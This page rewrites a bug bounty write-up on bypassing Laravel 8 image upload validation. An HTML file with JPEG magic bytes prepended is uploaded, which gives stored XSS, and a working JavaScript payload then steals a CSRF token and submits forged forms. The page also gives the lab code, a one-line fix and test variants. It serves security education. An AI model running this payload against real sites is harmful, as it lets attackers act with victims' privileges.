Skip to content
XSS Write-up Intermediate

Laravel 8.x image upload bypass

The Laravel image upload validation could be bypassed by adding image magic bytes to an HTML file, allowing an attacker to upload a file that is served as HTML and executes JavaScript. This stored cross-site scripting could then be used to bypass CSRF protections and perform actions with higher privileges.

infosecwriteups.com

Published on infosecwriteups.com

Bug Bounty

hosein vita, on infosecwriteups.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

Laravel is one of the most popular PHP web application frameworks, and this write-up walks through bypassing its image upload validation. The feature under test is a simple image upload form: a controller validates the incoming file and moves it into public/images, and the Blade view renders the stored file back to the user with an <img> tag. Because the uploaded file is served back from the application's own origin, a bypass of the image check turns into stored XSS, and from there into a CSRF bypass that lets the attacker submit arbitrary forms with the victim's privileges.

The author also researched remediation and presents a one-line code change intended to stop the bypass.

Setup

A fresh Laravel project is created with Composer:

Bash
composer create-project --prefer-dist laravel/laravel blog

Routes are defined in routes/web.php:

PHP
<?phpuse Illuminate\Support\Facades\Route;use App\Http\Controllers\ImageUploadController;Route::get('image-upload', [ ImageUploadController::class, 'imageUpload' ])->name('image.upload');Route::post('image-upload', [ ImageUploadController::class, 'imageUploadPost' ])->name('image.upload.post');

The controller lives in app/Http/Controllers/ImageUploadController.php:

PHP
<?phpnamespace App\Http\Controllers;use Illuminate\Http\Request;class ImageUploadController extends Controller{/*** Display a listing of the resource.** @return \Illuminate\Http\Response*/public function imageUpload(){return view('imageUpload');}/*** Display a listing of the resource.** @return \Illuminate\Http\Response*/public function imageUploadPost(Request $request){$request->validate(['image' => 'required|image|mimes:jpeg,png,jpg,gif,svg|max:2048',]);$imageName = time().'.'.$request->image->getClientOriginalExtension();$request->image->move(public_path('images'), $imageName);/* Store $imageName name in DATABASE from HERE */return back()->with('success','You have successfully upload image.')->with('image',$imageName);}}

The validation rule is the interesting part: required|image|mimes:jpeg,png,jpg,gif,svg|max:2048. Only files whose mime type is one of jpeg, png, jpg, gif or svg are accepted, and the size is capped at 2048. The stored filename is built from time() plus the client-supplied original extension.

The front end is resources/views/imageUpload.blade.php:

HTML
<!DOCTYPE html><html><head>    <title>laravel 8 image upload vulnerability - Hosein Vita</title>    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css"></head><body><div class="container">    <div class="panel panel-primary">      <div class="panel-heading"><h2>laravel 8 image upload vulnerability - Hosein Vita</h2></div>      <div class="panel-body">        @if ($message = Session::get('success'))        <div class="alert alert-success alert-block">            <button type="button" class="close" data-dismiss="alert">×</button>                <strong>{{ $message }}</strong>        </div>        <img src="images/{{ Session::get('image') }}">        @endif        @if (count($errors) > 0)            <div class="alert alert-danger">                <strong>Whoops!</strong> There were some problems with your input.                <ul>                    @foreach ($errors->all() as $error)                        <li>{{ $error }}</li>                    @endforeach                </ul>            </div>        @endif        <form action="{{ route('image.upload.post') }}" method="POST" enctype="multipart/form-data">            @csrf            <div class="row">                <div class="col-md-6">                    <input type="file" name="image" class="form-control">                </div>                <div class="col-md-6">                    <button type="submit" class="btn btn-success">Upload</button>                </div>            </div>        </form>      </div>    </div></div></body></html>

The form posts multipart data to the image.upload.post route with a @csrf token, and on success the page shows the message and an <img> whose src is images/ followed by the stored filename.

The lab is started with:

Bash
php artisan serve
laravel image uplaod vulnerability
laravel image uplaod vulnerability From the original on infosecwriteups.com

The screenshot shows the upload page served by the local lab.

Finding it

The author starts by attacking the mime restriction directly: change the mime type and add a second extension to the file. The upload is accepted.

bypassing image file upload
bypassing image file upload From the original on infosecwriteups.com

The response confirms the file went through. The author notes that Laravel being bypassed this easily was unexpected, but during this kind of testing something else caught their eye: changing the extension of a legitimate picture to .html and uploading it was also successful.

From the original on infosecwriteups.com
laravel vulnerability lab
laravel vulnerability lab

The reasoning drawn from this is that the application cares about the content of the file rather than the extension. To exploit that, the file has to look like an image to the validation while remaining HTML underneath. The author recommends HxD for the edit: open the HTML file in HxD and add the characters FF D8 FF E0 at the very beginning of the file.

Bypassing laravel file uplaod with header — hosein vita
Tool: HxD From the original on infosecwriteups.com

Those four bytes are the start of a JPEG file signature (SOI marker followed by the APP0 marker), so the content now begins like a JPEG even though the rest of the file is HTML.

Exploitation

Step 1: Upload the HTML file with a JPEG header

With the header bytes prepended, the file is uploaded through the form and tested in the browser.

Laravel Stored Xss
Laravel Stored Xss From the original on infosecwriteups.com

The stored file is served from the application's own origin, and the author tests it in the browser.

Step 2: Bypass the CSRF token with the XSS

Once XSS is obtained, the author uses it to defeat CSRF protection. The technique is to send an AJAX request to a page that contains a CSRF token in its HTML body, extract the token, and use it to submit any form. The payload is an HTML document that begins with the same JPEG header bytes:

HTML
ÿØÿà<html><head><title>Laravel Csrf Bypass</title></head><body><script>function submitFormWithTokenJS(token) {    var xhr = new XMLHttpRequest();    xhr.open("POST", POST_URL, true);// Send the proper header information along with the request    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");// This is for debugging and can be removed    xhr.onreadystatechange = function() {        if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {            console.log(xhr.responseText);        }    } //    xhr.send("_token=" + token + "&desiredParameter=desiredValue");}function getTokenJS() {    var xhr = new XMLHttpRequest();    // This tels it to return it as a HTML document    xhr.responseType = "document";    // true on the end of here makes the call asynchronous //Edit the path as you want    xhr.open("GET", "/image-upload", true);    xhr.onload = function (e) {        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {            // Get the document from the response            page = xhr.response            // Get the input element            input = page.getElementsByTagName("input")[0];            // Show the token            alert("The token is: " + input.value);            // Use the token to submit the form            submitFormWithTokenJS(input.value);        }    };    // Make the request    xhr.send(null);}getTokenJS();var POST_URL="/"getTokenJS();</script></html>

How the pieces fit together:

  1. getTokenJS() issues a GET to /image-upload with responseType = "document", so the response is parsed as HTML.
  2. It reads the first <input> element of the returned page, which is the CSRF token field, and shows it with alert.
  3. It passes the token to submitFormWithTokenJS(), which sends a POST to POST_URL with Content-type: application/x-www-form-urlencoded and a body of _token= plus the extracted token and the attacker's desired parameters.
  4. POST_URL is set to / in the payload and is meant to be edited to the target endpoint, along with the post parameters.

The author stresses that the values must be changed to suit the target: where POST_URL should point, and which post parameters to send.

laravel csrf token bypass
laravel csrf token bypass From the original on infosecwriteups.com

Root cause

The controller builds the stored filename from the client-supplied extension:

PHP
$imageName = time().'.'.$request->image->getClientOriginalExtension();

The stored filename is built from getClientOriginalExtension(), and the author's fix replaces it with extension(). The author's reasoning is that the application cares about the content of the file rather than the extension, so prepending JPEG bytes makes it look like an image. The author's exploit fetches a page containing a CSRF token, extracts it, and uses it to submit a form.

Impact

By bypassing the image validation the author achieves stored XSS, and because the payload is stored, a full exploit can be written that bypasses CSRF and lets the attacker do whatever they want with higher privilege. The author describes the result as stored XSS that can be used to bypass CSRF and act with higher privilege. The author frames this as applying to applications that use this upload logic, having found the same pattern in plenty of different web applications during testing.

Fix

The author's remediation is a one-line change in the controller. Replace:

PHP
$imageName = time().'.'.$request->image->getClientOriginalExtension();

with:

PHP
$imageName = time().'.'.$request->image->extension();

With $request->image->extension(), the author says Laravel will save all uploaded files with a .jpg extension. The author re-tests the file after the change:

remediation for laravel vulnerability hosein vita
remediation for laravel vulnerability hosein vita From the original on infosecwriteups.com

The author says this makes sure the file won't be rendered in the victim's browser.

Variants to test

  1. Double extensions and mime tampering. Change the mime type and add a second extension to an otherwise valid image, as the author did first. A positive result is the server accepting the file.
  2. Legitimate image renamed to a script or markup extension. Rename a real picture to .html (or another extension the server will serve as active content) and upload it. A positive result is a successful upload.
  3. Magic-byte prefix on an HTML payload. Prepend FF D8 FF E0 to an HTML file and upload it. A positive result is the file passing the image validation and being uploaded.
  4. Token extraction from the same origin. Host a payload that fetches a page containing a CSRF token, reads the token input, and posts it to a state-changing endpoint. A positive result is the token being extracted and used to submit the form.
  5. Check the stored extension after the fix. Upload the same crafted file against a patched instance and check the stored extension.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

A website built with a tool called Laravel had a form that let people upload pictures. The form was supposed to accept only pictures, and it checked the files before saving them. The author of this write-up found that the check could be fooled: a file that was really a web page (HTML) could be made to look like a picture to the check and was uploaded successfully. The author's payload was an HTML file containing a script, uploaded as an image. This kind of attack is called stored cross-site scripting, or stored XSS.

From there the author went further. Many forms on websites include a secret code, called a CSRF token, that proves the request really came from the site's own page and not from somewhere else. The author's exploit fetches a page containing the secret code, extracts it, and uses it to submit a form. The author calls this a CSRF bypass.

Finally, the author shows a one-line change to the code that closes the hole.

This is a lab exercise: the author builds a small copy of the vulnerable site on their own computer, tests the attack against it, and then tests the fix.

Setting up the lab

Laravel is a framework: a collection of ready-made building blocks for writing websites in the PHP programming language. Instead of writing every piece from scratch, a developer uses Laravel's pieces and fills in the parts specific to their site. The author creates a fresh Laravel project with a command-line tool called Composer, which downloads and installs the building blocks a PHP project needs.

Bash
composer create-project --prefer-dist laravel/laravel blog

Line by line:

  • composer runs the Composer tool.
  • create-project tells it to make a brand new project from an existing template.
  • --prefer-dist asks it to download ready-made packages rather than fetching their source history, which is faster.
  • laravel/laravel is the name of the template (the standard Laravel skeleton).
  • blog is the name of the folder the new project will be created in.

Next, the author defines the site's routes. A route is a rule that says "when someone asks for this address, run this piece of code". Think of it as the reception desk of a building: it looks at where you want to go and sends you to the right office.

The routes go in a file called routes/web.php:

PHP
<?phpuse Illuminate\Support\Facades\Route;use App\Http\Controllers\ImageUploadController;Route::get('image-upload', [ ImageUploadController::class, 'imageUpload' ])->name('image.upload');Route::post('image-upload', [ ImageUploadController::class, 'imageUploadPost' ])->name('image.upload.post');

Line by line:

  • <?php marks the start of PHP code.
  • use Illuminate\Support\Facades\Route; brings in Laravel's routing tool so it can be used by its short name, Route.
  • use App\Http\Controllers\ImageUploadController; brings in the file that contains the upload logic, so the routes can point at it.
  • Route::get('image-upload', ...) says: when a browser asks for the address image-upload with a GET request (the kind your browser sends when you simply open a page), run the imageUpload function in ImageUploadController. The ->name('image.upload') gives this route a nickname so other code can refer to it without repeating the address.
  • Route::post('image-upload', ...) says: when a form is submitted to the same address with a POST request (the kind sent when you press a submit button), run the imageUploadPost function instead. Its nickname is image.upload.post.

So the same address does two different things depending on whether you are viewing the page or submitting the form.

Next comes the controller. A controller is the part of the site that holds the logic for handling a request: it receives what the browser sent, decides what to do, and prepares the answer. The controller lives in app/Http/Controllers/ImageUploadController.php:

PHP
<?phpnamespace App\Http\Controllers;use Illuminate\Http\Request;class ImageUploadController extends Controller{/*** Display a listing of the resource.** @return \Illuminate\Http\Response*/public function imageUpload(){return view('imageUpload');}/*** Display a listing of the resource.** @return \Illuminate\Http\Response*/public function imageUploadPost(Request $request){$request->validate(['image' => 'required|image|mimes:jpeg,png,jpg,gif,svg|max:2048',]);$imageName = time().'.'.$request->image->getClientOriginalExtension();$request->image->move(public_path('images'), $imageName);/* Store $imageName name in DATABASE from HERE */return back()->with('success','You have successfully upload image.')->with('image',$imageName);}}

Line by line:

  • namespace App\Http\Controllers; says which folder-like group this file belongs to, so Laravel can find it.
  • use Illuminate\Http\Request; brings in the object that represents the incoming request (the form data, the uploaded file, and so on).
  • class ImageUploadController extends Controller declares the controller. extends Controller means it builds on Laravel's base controller, inheriting common behaviour.
  • public function imageUpload() is the function that runs when someone opens the page. return view('imageUpload'); tells Laravel to show the page template called imageUpload.
  • public function imageUploadPost(Request $request) is the function that runs when the form is submitted. $request holds everything the browser sent.
  • $request->validate([...]) checks the submitted data against rules before anything else happens. If a rule fails, Laravel sends the user back with an error message.
  • 'image' => 'required|image|mimes:jpeg,png,jpg,gif,svg|max:2048' is the rule set for the field named image. required means a file must be present. image means it must look like an image. mimes:jpeg,png,jpg,gif,svg means its type must be one of those five picture formats. max:2048 caps the size at 2048 kilobytes (about 2 MB).
  • $imageName = time().'.'.$request->image->getClientOriginalExtension(); builds the name the file will be saved under. time() gives the current time as a number of seconds, the . pieces join text together, and getClientOriginalExtension() returns the file extension (the part after the last dot, like jpg or html) exactly as the browser sent it. This line is the heart of the problem, and we come back to it later.
  • $request->image->move(public_path('images'), $imageName); moves the uploaded file into the images folder inside the site's public folder, under the name just built. The public folder is the part of the site that browsers can reach directly.
  • The comment /* Store $imageName name in DATABASE from HERE */ marks where a real site would also record the filename in its database.
  • return back()->with('success', ...)->with('image', $imageName); sends the user back to the page they came from, carrying a success message and the stored filename so the page can show the picture.

The front end is the page template resources/views/imageUpload.blade.php. Blade is Laravel's template language: it is HTML with a few extra markers that let the page show data from the server.

HTML
<!DOCTYPE html><html><head>    <title>laravel 8 image upload vulnerability - Hosein Vita</title>    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css"></head><body><div class="container">    <div class="panel panel-primary">      <div class="panel-heading"><h2>laravel 8 image upload vulnerability - Hosein Vita</h2></div>      <div class="panel-body">        @if ($message = Session::get('success'))        <div class="alert alert-success alert-block">            <button type="button" class="close" data-dismiss="alert">×</button>                <strong>{{ $message }}</strong>        </div>        <img src="images/{{ Session::get('image') }}">        @endif        @if (count($errors) > 0)            <div class="alert alert-danger">                <strong>Whoops!</strong> There were some problems with your input.                <ul>                    @foreach ($errors->all() as $error)                        <li>{{ $error }}</li>                    @endforeach                </ul>            </div>        @endif        <form action="{{ route('image.upload.post') }}" method="POST" enctype="multipart/form-data">            @csrf            <div class="row">                <div class="col-md-6">                    <input type="file" name="image" class="form-control">                </div>                <div class="col-md-6">                    <button type="submit" class="btn btn-success">Upload</button>
                </div>            </div>        </form>      </div>    </div></div></body></html>

Line by line, focusing on the parts that matter:

  • The <head> and <link> lines load a stylesheet from a public content network so the page looks tidy. This is only decoration.
  • @if ($message = Session::get('success')) is a Blade instruction: if there is a success message stored for this user, show the block that follows. A session is a short-lived memory the server keeps for each visitor between requests.
  • <strong>{{ $message }}</strong> prints the message. The double curly braces {{ }} mean "insert this value here, safely escaped".
  • <img src="images/{{ Session::get('image') }}"> shows the uploaded picture. The browser will fetch the file from the images folder using the stored filename. This is the line that later turns a harmless upload into a running script.
  • The second @if block lists validation errors, if any.
  • <form action="{{ route('image.upload.post') }}" method="POST" enctype="multipart/form-data"> starts the upload form. action is the address the form submits to (filled in from the route nickname). method="POST" means the data is sent in the body of the request rather than in the address. enctype="multipart/form-data" is the format needed to send files.
  • @csrf inserts a hidden field containing a CSRF token. A CSRF token is a long random value the server generates for this visitor and expects back on every form submission. It exists to stop another website from silently submitting forms on the visitor's behalf, because that other site cannot know the random value. Keep this in mind: the whole second half of the attack is about stealing this value.
  • <input type="file" name="image" ...> is the file chooser. The name image matches the field name in the validation rules.
  • <button type="submit" ...>Upload</button> is the button that sends the form.

The lab is started with:

Bash
php artisan serve

Line by line:

  • php runs the PHP interpreter.
  • artisan is Laravel's built-in command tool, a file inside the project.
  • serve tells it to start a small web server on your own computer so you can open the site in a browser.
laravel image uplaod vulnerability
laravel image uplaod vulnerability From the original on infosecwriteups.com

The screenshot shows the upload page served by the local lab: a heading, a file chooser and an Upload button.

Finding the problem

The author starts by attacking the type restriction head-on: change the file's declared type and add a second extension to the filename. The upload is accepted.

bypassing image file upload
bypassing image file upload From the original on infosecwriteups.com

The response confirms the file went through. The author notes that Laravel being bypassed this easily was unexpected, but during this kind of testing something else caught their eye: changing the extension of a legitimate picture to .html and uploading it was also successful.

From the original on infosecwriteups.com
laravel vulnerability lab
laravel vulnerability lab

The conclusion drawn from this is that the application cares about the content of the file rather than the extension. To exploit that, the file has to look like an image to the validation while remaining HTML underneath. The author recommends HxD, a free hex editor, for the edit. A hex editor shows a file as raw bytes rather than as text, which is what you need to insert invisible marker bytes at the very start. Open the HTML file in HxD and add the characters FF D8 FF E0 at the very beginning of the file.

Bypassing laravel file uplaod with header — hosein vita
Tool: HxD From the original on infosecwriteups.com

Those four bytes are the start of a JPEG file signature (the SOI marker followed by the APP0 marker). In plain terms, they are the first few characters a real JPEG picture always begins with, so a checker that only looks at the beginning of the file will now see a JPEG, even though the rest of the file is HTML.

Exploitation

Step 1: Upload the HTML file with a JPEG header

With the header bytes prepended, the file is uploaded through the form and tested in the browser.

Laravel Stored Xss
Laravel Stored Xss From the original on infosecwriteups.com

The stored file is served from the application's own address, and the author tests it in the browser. "Stored" means the payload sits on the server and runs for every visitor who views it, not just for the person who uploaded it.

Step 2: Bypass the CSRF token with the XSS

Once XSS is obtained, the author uses it to defeat CSRF protection. CSRF stands for cross-site request forgery: an attack where another site makes your browser send a request to a site you are logged in to, without you meaning to. The token in the form is the defence. The technique here is to send an AJAX request to a page that contains a CSRF token in its HTML body, extract the token, and use it to submit any form. AJAX simply means a script inside a page fetching or sending data in the background, without reloading the page. The payload is an HTML document that begins with the same JPEG header bytes:

HTML
ÿØÿà<html><head><title>Laravel Csrf Bypass</title></head><body><script>function submitFormWithTokenJS(token) {    var xhr = new XMLHttpRequest();    xhr.open("POST", POST_URL, true);// Send the proper header information along with the request    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");// This is for debugging and can be removed    xhr.onreadystatechange = function() {        if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {            console.log(xhr.responseText);        }    } //    xhr.send("_token=" + token + "&desiredParameter=desiredValue");}function getTokenJS() {    var xhr = new XMLHttpRequest();    // This tels it to return it as a HTML document    xhr.responseType = "document";    // true on the end of here makes the call asynchronous //Edit the path as you want    xhr.open("GET", "/image-upload", true);    xhr.onload = function (e) {        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {            // Get the document from the response            page = xhr.response            // Get the input element            input = page.getElementsByTagName("input")[0];            // Show the token            alert("The token is: " + input.value);            // Use the token to submit the form            submitFormWithTokenJS(input.value);        }    };    // Make the request    xhr.send(null);}getTokenJS();var POST_URL="/"getTokenJS();</script></html>

How the pieces fit together:

  1. getTokenJS() issues a GET to /image-upload with responseType = "document", so the response is parsed as HTML.
  2. It reads the first <input> element of the returned page, which is the CSRF token field, and shows it with alert.
  3. It passes the token to submitFormWithTokenJS(), which sends a POST to POST_URL with Content-type: application/x-www-form-urlencoded and a body of _token= plus the extracted token and the attacker's desired parameters.
  4. POST_URL is set to / in the payload and is meant to be edited to the target endpoint, along with the post parameters.

Line by line, in plain words:

  • The first characters ÿØÿà are how the four JPEG marker bytes look when the file is opened as text. They are the same FF D8 FF E0 from the hex editor, just displayed as characters.
  • <html><head><title>Laravel Csrf Bypass</title></head><body><script> is an ordinary web page whose body contains a script. When the browser opens the uploaded file, it sees HTML and runs the script.
  • function submitFormWithTokenJS(token) { defines a function that takes a token and uses it to send a form.
  • var xhr = new XMLHttpRequest(); creates the browser's built-in tool for sending requests from a script.
  • xhr.open("POST", POST_URL, true); prepares a POST request to the address stored in POST_URL. The true means "do this in the background and tell me when it is done" (asynchronous).
  • xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); tells the server the body is in the same format a normal HTML form sends.
  • The xhr.onreadystatechange block is a callback: it runs when the request's state changes. The if checks that the request is finished and the server answered with status 200 (success), then prints the server's reply to the browser console. The comment says this is for debugging and can be removed.
  • xhr.send("_token=" + token + "&desiredParameter=desiredValue"); actually sends the request. The body is the token field plus whatever other fields the attacker wants, shown here as placeholders.
  • function getTokenJS() { defines the function that fetches a fresh page to steal a token from.
  • xhr.responseType = "document"; asks the browser to parse the reply as an HTML document, so the script can search it like a page.
  • xhr.open("GET", "/image-upload", true); prepares a GET request to the upload page. The comment notes the path can be edited to any page that contains a token.
  • xhr.onload = function (e) { is the callback that runs once the page has arrived.
  • page = xhr.response stores the parsed page.
  • input = page.getElementsByTagName("input")[0]; finds the first input element on that page. On the upload page, the first input is the hidden CSRF token field.
  • alert("The token is: " + input.value); pops up the token, which is handy while testing.
  • submitFormWithTokenJS(input.value); passes the stolen token to the other function, which sends the forged form.
  • xhr.send(null); sends the GET request (no body needed).
  • getTokenJS(); starts the whole chain.
  • var POST_URL="/" sets the destination address. The author stresses that the values must be changed to suit the target: where POST_URL should point, and which post parameters to send.
  • The final getTokenJS(); starts the chain again. In the payload as written, the function is called twice.
laravel csrf token bypass
laravel csrf token bypass From the original on infosecwriteups.com

Root cause

The controller builds the stored filename from the client-supplied extension:

PHP
$imageName = time().'.'.$request->image->getClientOriginalExtension();

The stored filename is built from getClientOriginalExtension(), and the author's fix replaces it with extension(). The author's reasoning is that the application cares about the content of the file rather than the extension, so prepending JPEG bytes makes it look like an image. The author's exploit fetches a page containing a CSRF token, extracts it, and uses it to submit a form.

Impact

By bypassing the image validation the author achieves stored XSS, and because the payload is stored, a full exploit can be written that bypasses CSRF and lets the attacker do whatever they want with higher privilege. The author describes the result as stored XSS that can be used to bypass CSRF and act with higher privilege. The author frames this as applying to applications that use this upload logic, having found the same pattern in plenty of different web applications during testing.

Fix

The author's remediation is a one-line change in the controller. Replace:

PHP
$imageName = time().'.'.$request->image->getClientOriginalExtension();

with:

PHP
$imageName = time().'.'.$request->image->extension();

With $request->image->extension(), the author says Laravel will save all uploaded files with a .jpg extension. The author re-tests the file after the change:

remediation for laravel vulnerability hosein vita
remediation for laravel vulnerability hosein vita From the original on infosecwriteups.com

The author says this makes sure the file won't be rendered in the victim's browser.

Variants to test

  1. Double extensions and type tampering. Change the declared type and add a second extension to an otherwise valid image, as the author did first. A positive result is the server accepting the file.
  2. Legitimate image renamed to a script or markup extension. Rename a real picture to .html (or another extension the server will serve as active content) and upload it. A positive result is a successful upload.
  3. Marker-byte prefix on an HTML payload. Prepend FF D8 FF E0 to an HTML file and upload it. A positive result is the file passing the image validation and being uploaded.
  4. Token extraction from the same site. Host a payload that fetches a page containing a CSRF token, reads the token input, and posts it to a state-changing address. A positive result is the token being extracted and used to submit the form.
  5. Check the stored extension after the fix. Upload the same crafted file against a patched copy and check the stored extension.

Glossary

  • AJAX: a script inside a web page fetching or sending data in the background, without reloading the page.
  • Blade: Laravel's template language, HTML with extra markers that insert data from the server.
  • Composer: the tool that downloads and installs the building blocks a PHP project needs.
  • Controller: the part of a web application that handles a request, decides what to do and prepares the answer.
  • CSRF (cross-site request forgery): an attack where another site makes your browser send a request to a site you are logged in to, without you meaning to.
  • CSRF token: a long random value the server gives a visitor and expects back on every form submission, so another site cannot forge one.
  • Extension: the part of a filename after the last dot, such as jpg or html.
  • Framework: a collection of ready-made building blocks for writing software, which a developer fills in for their own site.
  • GET request: the kind of request a browser sends when you simply open a page.
  • Hex editor: a program that shows a file as raw bytes rather than as text, so you can insert invisible marker bytes.
  • HTML: the language web pages are written in.
  • JPEG file signature: the first few bytes a real JPEG picture always begins with, here FF D8 FF E0.
  • Laravel: a popular framework for writing websites in PHP.
  • Mime type: the label a file carries saying what kind of content it is, such as a picture or a web page.
  • PHP: a programming language widely used for websites.
  • POST request: the kind of request sent when you submit a form, carrying data in the body rather than the address.
  • Route: a rule that says which code runs for a given address.
  • Session: a short-lived memory the server keeps for each visitor between requests.
  • Stored XSS (cross-site scripting): a script hidden in content saved on the server, which runs in the browser of every visitor who views that content.
  • Validation: checks a server runs on submitted data before using it.
  • XSS (cross-site scripting): an attack that gets a script to run in another person's browser as part of a trusted site.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.